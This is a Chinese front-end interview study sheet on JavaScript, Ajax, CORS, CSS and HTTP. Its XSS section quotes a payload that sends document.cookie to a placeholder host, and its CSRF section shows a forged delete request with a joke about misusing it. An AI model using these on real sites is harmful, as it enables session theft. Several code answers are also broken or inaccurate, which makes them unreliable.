1、Array的unshift作用，如何连接两个Array，如何在Array里移除一个元素。

数组头部入元素，concat，slice、splice

2、写一个闭包

闭包可以访问其它函数内部变量

闭包的使用场景：

封装，设计私有的方法和变量，只提供方法获取；

在函数执行之前为要执行的函数提供具体参数：setTimeout(function(obj){return function(){alert(obj)}}(o),200)。（setTimeout第二个参数以后的参数可作为fn的参数）

为节点循环绑定click事件，在事件函数中使用当次循环的值或节点，而不是最后一次循环的值或节点

绑定事件，事件是某一个对象里面的，为了使this指向原来的对象

3、Array-like Object

arguments、nodeList（childNodes）、HTMLCollecton(getElementsByTagName())

key为0，1，2。。。，有length属性代表有几个属性

4、原生js写Cookie：

document.cookie = "name = value"

获取需要解析：start = indexOf("name=")，end = indexOf(";")|document.cookie.length ，name = subString(start + "name=".length,end)

5、CSS盒模型

标准：margin、border、padding、content（width）

IE：margin、width（border，padding，content）

6、Ajax Request：

XMLHTTPRequest（） | ActiveXObject（“Microsoft.XMLHTTP“）

xhr.onreadystatechange = function(){xhr.readystate == 4, xhr.status>=200&&xhr.status < 300 || xhr.status == 304, xhr.responseText|xhr.responseXML}

xhr.open("GET|POST",url,true)

xhr.setRequestHeader("Content-type","applicaion/x-www-form-urlencoded"）form

xhr.send(null|data|serialize(form));

enctype = "multipart/form-data"

7、跨域获取：

1）jsonp：script = document.createElement("script");script.src = "url?callback = handler";document.body.insertBefore(script,document.body.firstChild), handler(response){}

2）图片ping： img = new Image(); img.onload = img.onerror = function(){};img.src = "url?xx=xx"

3）CORS：在HTTP头部加入Origin头部，包含请求页面的源信息，如果接受就会在响应头部加入Access-Control-Allow-Origin:xxx。如果没有这个头部，浏览器会驳回请求。Ajax请求中URL用绝对地址。cookie不会随之发送。

分为两类：简单请求和非简单请求。非简单请求会有一次预检请求。

简单请求：请求方法：HEAD、GET、POST

HTTP头信息不超过以下几种：Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type只限于`application/x-www-form-urlencoded`（默认表单post传送方法）、`multipart/form-data`（有file的表单）、`text/plain`

简单请求：

就是在请求头信息头部加入Origin字段，当浏览器发现这次Ajax跨域是简单请求，就自动在请求头部加入Origin字段，本次请求来自哪个源（协议、端口、域名）。如果服务器发现不在许可范围内，就返回一个正常的http响应，浏览器就会发现头信息中没有Access-Control-Allow-Origin，抛出错误，由xhr的onerror回调函数捕获。如果在许可范围内，服务器返回的响应会多出几个头信息字段：

```
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
```

Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时Origin字段的值，要么是一个*，表示接受任意域名的请求。

Access-Control-Allow-Credentials

true表示允许发送cookie。不允许就不写这个字段，默认不允许；另一方面，开发者必须在ajax请求中打开withCredentials属性。例如：xhr.withCredentials = true;（但是，如果省略withCredentials设置，有的浏览器还是会一起发送Cookie。这时，可以显式关闭withCredentials。）

Access-Control-Expose-Headers

XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段：Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段，就必须在Access-Control-Expose-Headers里面指定。例如：Access-Control-Expose-Headers: FooBar

非简单请求：对服务器有特殊要求的请求，比如请求方法是PUT或DELETE，或者Content-Type字段的类型是application/json。

预检请求：会在正式通信之前，增加一次HTTP查询请求，称为"预检"请求（preflight）。

浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复，浏览器才会发出正式的XMLHttpRequest请求，否则就报错。

```
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
```

浏览器发现这是非简单请求，就会自动发出一个预检请求：

```
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

"预检"请求用的请求方法是OPTIONS，表示这个请求是用来询问的。

预检请求的回应：

```
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
```

如果浏览器否定了"预检"请求，会返回一个正常的HTTP回应，但是没有任何CORS相关的头信息字段。这时，浏览器就会认定，服务器不同意预检请求，因此触发一个错误，被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出报错信息。

服务器回应的其它CORS相关字段如下：

```
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
```

Access-Control-Max-Age

该字段可选，用来指定本次预检请求的有效期，单位为秒。

一旦服务器通过了"预检"请求，以后每次浏览器正常的CORS请求，就都跟简单请求一样，会有一个Origin头信息字段。服务器的回应，也都会有一个Access-Control-Allow-Origin头信息字段。

与JSONP的比较

CORS与JSONP的使用目的相同，但是比JSONP更强大。

JSONP只支持GET请求，CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器，以及可以向不支持CORS的网站请求数据。

4）webSocket：

socket = new WebSocket("ws://www.xxxx");socket.send(string);socket.close(), socket.onmessage = function(event){event.data}

5）document.domain：

这两个域名必须属于同一个基础域名!而且所用的协议，端口都要一致，

否则无法利用document.domain进行跨域.

有另一种情况，两个子域名：

aaa.xxx.com

bbb.xxx.com

aaa里的一个网页（a.html）引入了bbb 里的一个网页（b.html），这时a.html里同样是不能操作b.html里面的内容的。因为document.domain不一样，一个是aaa.xxx.com，另一个是bbb.xxx.com。这时我们就可以通过Javascript，将两个页面的domain改成一样的，需要在a.html里与b.html里都加入：

document.domain = "xxx.com";

6）window.name：通过window.name来传送数据

有两个域：

a.com

b.com

a.com中：document.createElement("iframe");iframe.src = "http://b.com/data.html";iframe.onload = function() {iframe.contentWindow.name};document.body.appendChild(iframe)

b.com中的data.html：window.name = "要传送的数据"

8、XSS和XSRF如何攻防：

XSS：跨站脚本攻击。XSS攻击通常指黑客通过“HTML注入”篡改了网页，插入了恶意脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。

XSS根据效果的不同可以分为如下几类：

- 反射性 XSS

```
http://www.amazon.cn/search?name=
<script>document.location='http://xxx/get?
cookie='+document.cookie</script>
```

发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码，这个过程像一次反射，因此叫做反射型XSS

- 存储型XSS

存储型XSS会把用户输入的数据存储到服务器，这种攻击具有很强的稳定性，也叫“持久型XSS”

- DOM Based XSS

通过修改页面的DOM节点形成的XSS

XSS之所以会发生， 是因为用户输入的数据变成了代码。 所以我们需要对

用户输入的数据进行HTML Encode处理。 将其中的"中括号"，“单引号”，“引号”之类的特殊字符进行编码。

防御措施

1）后端在接收请求数据时，需要做输入检查，过滤特殊符号和标签

2）前端在显示后端数据时，需要做输出检查，不仅是标签内容需要过滤、转义，就连属性值和样式也都可能需要。 例如： 年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。

3）在处理富文本时可以设置标签白名单

4）设置HttpOnlly防止cookie劫持。将重要的cookie标记为http only， 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

5）对数据进行Html Encode 处理；过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

CSRF：跨站点请求伪造，对于未被授权的系统有权访问某个资源的情况。（可以通过XHR访问的任何URL也可以通过浏览器或服务器来访问）。

CSRF攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。

防御措施：验证发送者是否有权访问相应的资源。

1）要求以SSL连接来访问可通过XHR访问的资源；

2）要求每一次请求都要附带经过相应算法计算得到的验证码。但是出于用户体验考虑，网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段，不能作为主要解决方案。

3）Referer信息检查。通过检查referer信息是否合法来判断用户是否被CSRF攻击，仅仅是满足防御的充分条件，Referer Check的缺陷在于服务器并非什么时候都收到Referer，并且Referer信息可以伪造

4）Token需要足够随机，必须使用足够安全的随机数生成算法

Token可以放在用户的Session中或Cookie中，在提交请求时，服务器只需要验证表单中Token与用户Session（或Cookie）中的Token是否一致，一致则认为合法

在使用Token时尽量把Token放在表单中，使用POST提交，以避免Token泄露

如果该网站还存在XSS漏洞，那么使用Token方法防御CSRF攻击也就无效了（XSRF攻击）

token 可以在 QueryString、POST body 甚至是 Custom Header 里，但千万不能在 Cookies 里。

问题就在你刚才访问过的网页。假设你的博客id=8, b网页内容大致如下：

```
<html>
 ...
 <img src='http://www.a.com/resource/delete/8'/>

 ...
<html>
```

网页中img src正是删除你的博客链接，或许你会说，后台不是有身份认证么？是的，后台的确有身份认证，但此时访问b，你并没有退出登录，而此时b中浏览器又发起了 http://www.a.com/resource/delete/8 请求（同时会发送该域下的cookie），这样一来，后台用户认证会通过，所以删除会成功。ps:是不是以后可以用这招去删帖了。。。

9、HTTP Response的Header里面都有什么？

Set-Cookie,Etag,Last-Modified,Cache-Control,Connection,Location,Date,Expires,Server,

Content-Encoding

10、**知不知道HTTP2。**

11、输入URL后发生了什么？

DNS解析、端口号（request中host头部）、TCP三次握手、发送http请求、返回html模版并开始创建DOM树、加载CSS，创建渲染树，将内容呈现、加载并执行js脚本、加载html中图片音频等资源。

12、新建对象实际上做了什么？

创建一个新对象；将空对象的_proto_指向构造函数的prototype，构造函数的作用域指向这个新对象（this指向这个新对象），并执行构造函数；返回这个新对象。

13、面向对象的属性有哪些？

封装性、继承、多态

14、做一个两栏布局，左边固定宽度，右边自适应

float+overflow;float+margin;table;flex

15、Ajax Request：

兼容；跨域；可设置http头部，不能发送和设置cookie

16、跨域

17、项目

18、jquery绑定click的方法有几种？

on(type,selector,data,fn),delegate(selector,type,data,fn),bind(type,null,data,f

n),live(type,this.selector,data,fn)（实际上是绑定在document上面，利用冒泡触发）

19、你的优点/竞争力

基础

20、**移动端适配问题**

<meta name="viewport" content="width=device-width,initial-scale=1.0">

21、react的难点在哪里

22、**做过css动画吗**

23、css3新特性（最熟悉的），html5（websocket等）

box-sizing,border-radius,transform:translate scale rotate skew,animation,display:flex

24、如何优化网站

CSS sprit，将CSS、JS放在一个文件中，CSS放在头部，JS放在底部，压缩（Encoding-Accept Content-Encoding），内容发布（放在地理位置不同的服务器上），使用缓存（Expire，Etag等），使用外部CSS、JS文件，避免使用CSS表达式（div{expression(document.body.clientWidth < 600? "600px" : "auto")}）

25、介绍一下backbone

26、了解过SEO吗

搜索引擎优化。通过对网站进行站内优化和修复(网站Web结构调整、网站内容建设、网站代码优化和编码等)和站外优化，从而提高网站的网站关键词排名以及公司产品的曝光度。

影响SEO的情况：网页中大量采用图片或者Flash等富媒体形式，没有可以检索的文本信息；网页没有标题，或者标题中没有包含有效的关键字；网页正文中有效关键字比较少；大量动态网页影响搜索引擎；没有其它被搜索引擎已经收录的网站提供的链接。

优化：

内部优化：meta标签优化，例如Title；内部链接的优化，包括相关性链接；网站内容更新

外部优化：外部链接类别；外链组件

27、低版本浏览器不支持HTML5标签怎么解决?

传统引入js包（html5.js），在head中引用；createElement 一个同名的标签

（

```
var e = "abbr, article, aside, audio, canvas, datalist, details, dialog, eventsource, figure, footer, header, hgroup, mark, menu, meter, nav, output, progress, section, time, video".split(', ');
```

```
var i= e.length;
while (i--){
document.createElement(e[i])) ; <meta http-equiv="X-UA-Compatible"
content="IE=Edge,chrome=1"/>
```

；让国内的双核浏览器用chrome内核解析。

htmlshiv.js：

Remy的 HTML5shiv通过JavaScript 来创建HTML5元素(如 main, header, footer等)。在某种程度上通过JavaScript 创建的元素是 styleable(可样式)的。我们可以花很多时间来思考其运行原理，但谁会在乎呢?这种策略在所有产品网站上仍然是必须使用的。

selectivizr.js：

Selectivizr.js 是一个不可思议的资源，用于填充不支持的CSS选择器和属性，包括重要的 last-child。在最近的重设计中，我嵌入了 selectivizr，并在更老的 IE 浏览器上也不会错过任何细节。

不管你用上面哪中方式，请记得在CSS中进行如下定义，目的是让这些标签成为块状元素

article,aside,dialog,footer,header,section,footer,nav,figure,menu{display:block}

IE的if语句：`〈!--[if gt IE 5.0]〉 IE5.0以及IE5.0以上版本都可以识别 〈![endif]--〉 | 〈!--[if lt IE 6]〉 IE6以及IE6以下版本可识别 〈![endif]--〉`；

28、用js使低版本浏览器支持HTML5标签 底层是怎么实现的?

1、

```
(function(){if(!/*@cc_on!@*/0)return;var e
="abbr,article,aside,audio,canvas,datalist,details,dialog,eventsource
,figure,footer,header,hgroup,mark,menu,meter,nav,output,progress,sect
ion,time,video".split(','),i=e.length;while(i--)
{document.createElement(e[i])}})()
```

2、CSS

中：

```
article,aside,dialog,footer,header,section,footer,nav,figure,menu
{display:block}
```

29、实现一个布局：左边固定宽度为200，右边自适应，而且滚动条要自动选择只出现最高的那个。

float+margin:两种

flex;

float+overflow:hidden

table

30、画出盒子模型，IE跟谷歌一致

box-sizing:borderbox

31、手写JS实现继承，原型链原理，new的过程都发生了什么

32、Array对象自带的方法

splice，slice，pop，push，shift，unshift，join，sort，concat，reverse，toSource，toString，toLocaleString（把数组转换为本地数组），valueOf

33、若干个数字，怎么选出最大的五个?

堆排序、快排，sort后取前五个

34、Array对象自带的排序函数底层是怎么实现的?

不同的js引擎不一样：

chrome的v8引擎：数组长度小于等于22用插入排序，比22大用快速排序

Mozilla/Firefo：归并排序

Webkit ： 底层实现用了 C++ 库中的 qsort() 方法（根据你给的比较函数给一个数组快速排序，是通过指针移动实现排序功能。排序之后的结果仍然放在原来数组中。基于快速排序）

35、常用的排序算法有哪些，介绍一下选择排序。

快速排序、归并排序、堆排序、选择排序

36、navigator对象。

识别客户端浏览器的事实标准。navigator.appCodeName(浏览器名)，navigator.appName(完整的浏览器名称)，navigator.userAgent(浏览器的用户代理字符串)。

navigator.plugins，navigator.onLine

37、手写一个正则表达式，验证邮箱。

/^[a-zA-Z0-9]+([a-zA-Z0-9\.\-_]*[a-zA-Z0-9]+)*\@[a-zA-Z0-9]+\.[a-zA-Z0-9]+$/

38、link和@import引入CSS的区别

link是xhtml标签，没有兼容性问题，@import 是在 CSS2.1 提出的，低版本的浏览器不支持

link是异步加载的，在浏览器解析html的时候同时加载；@import会等html解析完再加载

link除了加载css还有其它作用，定义RSS，@import只能用于加载css

可以通过js脚本控制DOM，动态加载link的CSS样式，@import不能使用这种方法。

RSS：一种简单的信息发布和传递方式，使得一个网站可以方便地调用其他

提供RSS订阅服务的网站的内容。<link>http://www.runoob.com</link>

39、有些浏览器不兼容@import，具体指哪些浏览器?

低于IE5不支持，IE678部分支持。

40、cookie,localstorage,sessionstorage,session。

41、冒泡和捕获，事件流哪三个阶段?

除了冒泡和捕获，还有目标阶段。他们的先后顺序，先捕获，到了目标，再冒泡。

冒泡：事件代理

jquery live（冒泡到document上），1.9+以后使用on代替：

$('#parent').on('click','.son',function(){alert('test')});就是使用了代理，绑定在了parent上。

42、实现事件代理。用jquery写了。要求写原生。

event = event || window.event

target = event.target || event.srcElement

if(target.tagName.tolowerCase() == 'li')

43、原型链。继承的两种方法。用apply和call怎么继承原型链上的共享属性？通过空函数传值。新建一个空函数C。C实例化后C的实例属性就是空，然后用B的apply/call去继承C，相当于继承了C的实例属性。

44、ajax。原生ajax的四个过程。然后是req,readyState和status。那么问题是通过哪个属性得到data？jquery里是success回调里面的形参。

new XMLHttpRequest();xhr.onreadystatechange = function(){};open();send()

xhr.responseTest;xhr.responseXML

45、闭包。简单说一个闭包的应用。然后闭包的主要作用是什么：封装

46、css:两个块状元素上下的margin-top和margin-bottom会重叠。啥原因？怎么解决?

同一个BFC内的块级元素会发生margin重叠。

47、写一个递归。就是每隔5秒调用一个自身，一共100次

setTimeout(function()

{console.log(i++);setTimeout(arguments.callee,5000)},5000)

48、cookie和session有什么区别。

49、网络分层结构。4层，应用层，传输层，网络层和数据链路层。依次是http等应用，TCP/UDP，IP和物理连接。然后又追问了一下ssl在哪一层。ssl是socket，是单独的一层。如果要算应该算传输层。

50、块级元素，行内元素

块级：div,p,form,ul,li,table,tr,ol,dl,dt,dd,p,hr,header,h1~h6,

行内：span,lable,a,strong,mark,b,cite,em,i,ins

51、继承属性

font-size;color;font-style;text-align;line-height;font-weight;cursor

52、垂直居中：

table

vertical-align:middle

flex,align-items:center

position:absolute,transform-translate

53、10-100的10个随机数插入数组

Math.ceil((Math.random()*10)*10

54、深拷贝

判断是[]还是{} obj instanceof "Array"

如果元素是typeof object ， 递归clone(obj[key])

55、页面音频

```
<object height="50" width="100" data="horse.mp3"></object>
```

html5：

```
<embed height="50" width="100" src="horse.mp3">
<audio controls>
  <source src="horse.mp3" type="audio/mpeg">
  <source src="horse.ogg" type="audio/ogg">
  Your browser does not support this audio format.
</audio>
```

最好的方法：

```
<audio controls height="100" width="100">
  <source src="horse.mp3" type="audio/mpeg">
  <source src="horse.ogg" type="audio/ogg">
  <embed height="50" width="100" src="horse.mp3">
</audio>
```

带字幕：

```
<video width="320" height="240" controls>
    <source src="forrest_gump.mp4" type="video/mp4">
    <source src="forrest_gump.ogg" type="video/ogg">
    <track src="subtitles_en.vtt" kind="subtitles"
   srclang="en"
```

```
        label="English">
        <track src="subtitles_no.vtt" kind="subtitles"
        srclang="no"
        label="Norwegian">
    </video>
```

雅虎播放器、使用超链接：到另一个页面。

56、websocket怎么实现

websocket是一个新协议，与http协议没有多大关系，websocket是一个持久化的协议。在http1.1中，有keep-alive，可以在一个http连接中发送多个Request，接收多个Respond，但始终是一个request对应一个respond。websocket是基于http协议的，一个典型的websocket握手：

```
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
```

比起http请求多了：

```
Upgrade: websocket
Connection: Upgrade
```

告诉服务器我发起的是websocket协议。

```
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
```

Sec-WebSocket-Key 是一个Base64 encode的值，这个是浏览器随机生成的，用于验证服务器是不是真的websocket。

Sec_WebSocket-Protocol 是一个用户定义的字符串，用来区分同URL下，不同的服务所需要的协议。

Sec-WebSocket-Version 是告诉服务器所使用的Websocket Draft（协议版本）

然后服务器返回下列的内容，表示接收到请求并建立了websocket：

```
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
```

其中：

```
Upgrade: websocket
Connection: Upgrade
```

接下来就是按照websocket协议进行了。

var socket = new WebSocket('ws://www.baidu.com');

socket.send(string)

socket.onmessage = function(respond){respond.data}

57、CSS嵌套

58、模块化实现

立即执行函数，里面返回公共接口对象。可以给立即执行函数传入参数。

CommonJS：

var math = require('math');

math.add(2,3);

将方法挂在在exports对象上，例如在math.js中：exports.add = function(){}

AMD：

require.js中：

```
require(['math'], function (math) {
        math.add(2, 3);
    });
```

```
define("alpha", ["require", "exports", "beta"], function (require, exports, beta) {
    exports.verb = function() { }
});
```

CMD：

```
define(function(require, exports, module) {
    var a = require('./a')
    a.doSomething()
    var b = require('./b')
    b.doSomething()
```

})

seajs中：

```
1. seajs.use(['./a','./b'], function(a , b){
2.     a.doSomething();
3.     b.doSomething();
4. });
```

59、DOM元素的移动：

ul.appendChild(element)

ul.insertBefore(element,ul.firstChild)

ul.insertAdjacentHTML(beforebegin,html文本)，不能用于移动，只能用于插入

60、queryselect

只有document、documentFragment和element可以调用

querySelectorAll（）：返回nodelist，底层类似于一组元素的快照，也就是不会动态变化

machesSelector：element.machesSelector("#id")，是否匹配

61、js的Array相关

62、this

63、js类型隐式转换

isNaN()会在判断前先对参数进行转Numer()操作

typeof NaN = number

64、https的原理，加密方式，如何加密

HTTPS其实是有两部分组成：HTTP + SSL / TLS，也就是在HTTP上又加了一层处理加密信息的模块。服务端和客户端的信息传输都会通过TLS进行加密，所以传输的数据都是加密后的数据。

HTTPS在传输数据之前需要客户端（浏览器）与服务端（网站）之间进行一次握手，在握手过程中将确立双方加密传输数据的密码信息。

客户端发起https请求；

服务器将证书（公钥）发送给浏览器；

浏览器验证公钥的有效性，并生成一个随机值，用证书对该随机值进行加密，发送给服务器；

服务器使用私钥来解密，获得浏览器发送的随机值，接下来就可以通过这个随机值来进行加密解密；然后把内容痛过该随机值进行对称加密，发送给浏览器。所谓对称加密就是将信息和私钥通过某种算法混合在一起，除非知道私钥，

否则无法获取内容。

对称：DES，RC5

非对称：RSA

hash：MD5

65、浏览器的渲染方式

当页面没有!doctype声明或者!doctype声明中没有HTML4以上（包含HTML4）的DTD声明，则页面以quirks mode渲染，其他情况则以sdandars mode渲染。

标准模式：<!Doctype html>

怪异模式：

几乎标准模式：

66、http3次握手，4次挥手

67、清除浮动

68、获取DOM节点

69、js异步模式

回调：

```
function f1(callback){
    setTimeout(function () {
        // f1的任务代码
        callback();
    }, 1000);
}
```

事件监听：

```
f1.on('done', f2);
```

```
function f1(){
    setTimeout(function () {
        // f1的任务代码
        f1.trigger('done');
    }, 1000);
}
```

发布 / 订阅：

信号中心jQuery：

```
jQuery.subscribe("done", f2);
```

```
function f1(){
    setTimeout(function () {
        // f1的任务代码
        jQuery.publish("done");
    }, 1000);
}
```

Promise：

```
f1().then(f2);
```

```
function f1(){
    var dfd = $.Deferred();
    setTimeout(function () {
        // f1的任务代码
        dfd.resolve();
    }, 500);
    return dfd.promise;
}
```

70、jq绑定事件方法

71、CSS3、HTML5

72、cookie有哪些参数：

name,value,domain,secure,expires,path,http-only

73、前端图片懒加载：

延迟加载图片或符合某些条件时才加载某些图片，通常用于图片比较多的网页。可以减少请求数或者延迟请求数，优化性能。

有三种：

延迟加载，使用setTimeout或者setInterval进行延迟加载，如果用户在加载前就离开，自然就不会进行加载。

条件加载，符合某些条件或者触发了某些条件才开始异步加载。

可视区域加载，仅仅加载用户可以看到的区域。主要监视滚动条来实现。

条件加载：（点击按钮显示图片）

一开始img标签的src设为#，并设置一个data-origin属性，里面放上真是的地址。等到触发条件，再开始加载。

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<style>
body{
  margin: 0;
}
img{
  height: 100px;
  width: 100px;
}
</style>
</head>
<body>
<button>加载图片</button>
<img src="#" alt="测试" data-original = "img/test.png">
<script>
var oBtn = document.getElementsByTagName('button')[0];
var oImg = document.images[0];
oBtn.onclick = function(){
  oImg.src = "img/loading.gif";
  if(oImg.dataset){
    aftLoadImg(oImg,oImg.dataset.original);
  }else{
    aftLoadImg(oImg,oImg.getAttribute("data-original"));
  }
}
function aftLoadImg(obj,url){
  var oImg = new Image();
  oImg.onload = function(){
    obj.src = oImg.src;
  }
  oImg.src = url;
}
</script>
</body>
</html>
```

可视区显示图片：

将页面里所有img属性src属性用data-xx代替，当页面滚动直至此图片出现在可视区域时，用js取到该图片的data-xx的值赋给src。

```
页可见区域宽： document.body.clientWidth;
网页可见区域高： document.body.clientHeight;
网页可见区域宽： document.body.offsetWidth (包括边线的宽);
网页可见区域高： document.body.offsetHeight (包括边线的宽);
网页正文全文宽： document.body.scrollWidth;
网页正文全文高： document.body.scrollHeight;
网页被卷去的高： document.body.scrollTop;
网页被卷去的左： document.body.scrollLeft;
网页正文部分上： window.screenTop;
网页正文部分左： window.screenLeft;
屏幕分辨率的高： window.screen.height;
屏幕分辨率的宽： window.screen.width;
屏幕可用工作区高度： window.screen.availHeight;
```

屏幕可视窗口大小：

原生方法：window.innerHeight 标准浏览器及IE9+ || document.documentElement.clientHeight 标准浏览器及低版本IE标准模式 ||

document.body.clientHeight 低版本混杂模式

jQuery方法： $(window).height()

浏览器窗口顶部与文档顶部之间的距离，也就是滚动条滚动的距离：

原生方法：window.pagYoffset——IE9+及标准浏览器 || document.documentElement.scrollTop 兼容ie低版本的标准模式 ||

document.body.scrollTop 兼容混杂模式；

jQuery方法：$(document).scrollTop();

74、线程和进程的区别：

一个程序至少有一个进程，一个进程至少有一个线程。线程的划分尺度小于进程。

进程在执行过程中拥有独立的内存单元，而多个线程共享内存

进程是系统进行资源分配和调度的独立单位；线程是CPU调度和分派的基本单位，比进程更小的能独立运行的基本单位，不拥有系统资源，自己只拥有在运行中必不可少的资源（寄存器、栈、程序计数器）

进程有独立的地址空间，相互不影响；线程没有独立的地址空间，一个线程死掉等于整个进程死掉。多进程比多线程健壮。

75、数据库事务的一致性、原子性、持久性、隔离性：

一致性：事务系统通过保证事务的原子性，隔离性和持久性来满足这一要求;应用开发人员则需要保证**数据库**有适当的约束(主键，引用完整性等)，并且工作单元中所实现的业务逻辑不会导致数据的不一致(即，数据预期所表达的现实业务情况不相一致)。例如，在一次转账过程中，从某一账户中扣除的金额必须与另一账户中存入的金额相等。

原子性： 一个原子事务要么完整执行，要么干脆不执行。这意味着，工作单元中的每项任务都必须正确执行。如果有任一任务执行失败，则整个工作单元或事务就会被终止。即此前对数据所作的任何修改都将被撤销。如果所有任务都被成功执行，事务就会被提交，即对数据所作的修改将会是永久性的。

持久性：持久性表示在某个事务的执行过程中，对数据所作的所有改动都必须在事务成功结束前保存至某种物理存储设备。这样可以保证，所作的修改在任何系统瘫痪时不至于丢失。

隔离性： 隔离性意味着事务必须在不干扰其他进程或事务的前提下独立执行。换言之，在事务或工作单元执行完毕之前，其所访问的数据不能受系统其他部分的影响。

项目：

76、cookie：

可否跨域：可以跨二级域名(domain=".wrox.com")，全跨域访问就用跨域

77、get和post的性能：

get更快。

原因：因为post需要在请求的body部分包含数据，所以会多了几个数据描述部分的首部字段（如content-type）；post在真正接收数据之前会先将请求头发送给服务器进行确认，然后才真正发送数据，当第三次握手的时候，浏览器会发送请求头给服务器，而post的数据在body中，并不在请求头中，所以会等服务器确认以后，再发送body，而get的数据就在url中，第三次握手的时候就把数据都发出去了；get会将数据缓存起来，post不会

78、正则

match：如果有全局标志，返回一个数组，数组内容是各个匹配项；如果没有全局标志，也是返回数组，内容的第0号下标存放匹配项，后面几项存放捕获组，而且还有index属性和input属性。

search：无论有没有全局标志，返回第一个匹配的位置。如果没有匹配则返回-1。

贪婪匹配和非贪婪匹配：默认是贪婪匹配，例如zo+、zo*；非贪婪匹配，当字符？紧随其他限定符（*、+、？、{n}、{n,}、{n,m}）之后时，匹配模式变成了

最短匹配原则（也 叫非贪婪匹配原则）。

例如：在字符串"fooood"中，"fo+?"只匹配"fo"部分，而"fo+"匹配"foooo部分。

79、js异步加载：

1、defer和async：

async属性是HTML5新增的。作用和defer类似，但是它**将在下载后尽快执行，不能保证脚本会按顺序执行**。将在onload 事件之前完成。

defer属性声明这个脚本中将不会有 document.write 或 dom 修改。浏览器将会并行下载 file.js 和其它有 defer 属性的script，而不会阻塞页面后续处理。所有的 defer 脚本保证是**按顺序依次执行**的。**在所有元素解析完成之后执行**，DOMContentLoaded 事件触发之前完成。

没有 async 属性，script 将立即获取（下载）并执行，然后才继续后面的处理，这期间阻塞了浏览器的后续处理。

如果有 async 属性，那么 script 将被异步下载并执行，同时浏览器继续后续的处理。

HTML4中就有了defer属性，它提示浏览器这个 script 不会产生任何文档元素（没有document.write，修改DOM），因此浏览器会继续后续处理和渲染。

如果没有 async 属性 但是有 defer 属性，那么script 将在页面parse之后执行。

如果同时设置了二者，那么 defer 属性主要是为了让不支持 async 属性的老浏览器按照原来的 defer 方式处理，而不是同步方式。

2、在页面中<script>标签内，用 js 创建一个 script 元素并插入到 document 中。这样就做到了非阻塞的下载 js 代码。

```
(function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = 'http://yourdomain.com/script.js';
    var x = document.getElementsByTagName('script')[0];
    x.parentNode.insertBefore(s, x);
})();
```

这种方法加载执行完之前会阻止 onload 事件的触发，而现在很多页面的代码都在 onload 时还要执行额外的渲染工作等，所以还是会阻塞部分页面的初始化处理。

3、 onload 时的异步加载：

```
(function() {
    function async_load(){
        var s = document.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'http://yourdomain.com/script.js';
        var x = document.getElementsByTagName('script')[0];
        x.parentNode.insertBefore(s, x);
    }
    if (window.attachEvent)
        window.attachEvent('onload', async_load);
    else
        window.addEventListener('load', async_load, false);
})();
```

80、媒体查询

媒体查询只支持IE9+、chrome、ff等浏览器

媒体查询能检测哪些属性：

1.width 视口宽度

2.height 视口高度

3.device-width 渲染表面的宽度（对我们来说就是设备屏幕的宽度）

4.device-height 渲染表面的高度（对我们来说就是设备屏幕的高度）

5.orientation 检查设备处于横向还是纵向

6.aspect-ration 基于视口宽度和高度的宽高比

一个16:9比例的显示屏可以这样定义：aspect-ration:16/9;

7.device-aspect-ration 基于设备渲染平面的宽高比

8.color 每种颜色的位数 例如 min-color:16 **会检查设备是否拥有16位颜色**

9.color-index 设备**颜色索引表中的颜色数**。值必须是非负整数

10.monochrome 检查单色帧缓冲区中每像素所使用的位数， 值必须是非负整数

11.resolution 用来检测屏幕或打印机的分辨率，例如：min-resolution:300dpi,

还可以接受每厘米像素点数的度量值，例如，min-resolution:118dpcm;

12.scan 电视机的扫描方式

progressive 逐行扫描

interlace 隔行扫描

